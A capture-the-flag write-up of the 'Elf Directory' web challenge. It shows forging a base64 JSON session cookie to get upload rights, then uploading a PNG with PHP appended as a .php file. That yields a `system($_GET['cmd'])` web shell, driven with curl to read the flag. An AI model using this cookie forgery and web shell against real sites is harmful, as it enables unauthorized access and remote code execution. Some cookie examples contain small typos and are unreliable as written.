Elf Directory
Elf Directory is a challenge in which we are given a hosted copy of a web app that we need to hack in order to find the flag. In this challenge, we were not provided with a copy of the source code.
Prompt
Can you infiltrate the Elf Directory to get a foothold inside Santa’s data warehouse in the North Pole?
First impressions
Navigating to the home page we are presented with a login form:
When we fill out the form, we POST to /api/login
with a username and password. From the headers, we can see that we’re working with nginx and PHP 7.4.26. A quick search doesn’t turn up any obvious or helpful known vulnerabilities; I didn’t expect any but it’s good to be in the habit of looking.
To be honest, based on the name and the prompt, I’m expecting a path traversal and Local File Disclosure and/or Local File Inclusion at this point.
Enumeration
As mentioned above, this application is running PHP 7.4.26 behind nginx and no known obvious or helpful CVEs were found after a quick search.
At the login form, I try a couple of the obvious or common username/password combinations as well as some basic SQLi payloads. That didn’t yield anything and there’s a Register link so let’s try that.
For registration, we’re only prompted for our desired username and password. Upon submitting the form properly, POST happens to /auth/register
with the username and password and we are redirected to the login form.
Upon logging in successfully, we’re presented with a sort of “edit your profile” page. The page presents the message You don't have permission to edit your profile, contact the admin elf to approve your account!
.
Looking at our HTTP response from the login, we see a cookie returned in the response:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 04 Dec 2021 14:24:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.26
Set-Cookie: PHPSESSID=eyJ1c2VybmFtZSI6Im15dXNlciIsImFwcHJvdmVkIjpmYWxzZX0%3D; expires=Mon, 20-Dec-2021 00:46:22 GMT; Max-Age=1333337; path=/
location: /
Content-Length: 0
Right away I see that the cookie is base64-encoded JSON (the eyJ
prefix is the giveaway). The cookie in this case translates to:
{"username":"myuser","approved":false}
I set my cookie as follows and as I suspected now have the ability to upload a new profile picture. My username has been updated as well.
{"username":"admin,"approved":true}
I attempt logging a GIF (their very own deer.gif
) and receive a response that only PNGs are accepted so we know there’s at least some kind of validation taking place. Sending a proper PNG and I am redirected back to the main page. I look at where my new profile image is hosted and it hasn’t changed.
It turns out that I can’t upload a new image as the username admin
. I suspected that the user doesn’t actually exist and I need to use an existing username. I set my cookie to {"username":"myuser","approved":approved}
and continue.
I attempt uploading a valid PNG and see that my new profile photo is now hosted at /uploads/b9510_elf.png
. Something that stands out to me is that elf.png
was the name of the image locally when I uploaded it which means I have some influence over how the file is named.
Exploitation
Suspecting this is my vector Remote Code Execution I append <?php phpInfo(); ?>
to the end of a valid PNG and upload it as elf.png.php
. After loading my new profile photo, I have the phpInfo
page; This confirms now that we have Remote Code Execution!
I re-upload the file this time with a payload of <?php echo system($_GET['cmd']); ?>
and boom we have a shell! Moving to curl to make things a little easier:
curl -s 'http://challenge.htb/uploads/522ca_shelf.png.php?cmd=id' | tail -c +27178 # this is just the offset of where the text started in my PNG
uid=1000(www) gid=1000(www) groups=1000(www)
uid=1000(www) gid=1000(www) groups=1000(www)%
Annnnd flag.
% curl -s 'http://challenge.htb/uploads/522ca_shelf.png.php?cmd=cat ../../flag_65890d927c37c33.txt' | tail -c +27178
HTB{[redacted]}
HTB{[redacted]}%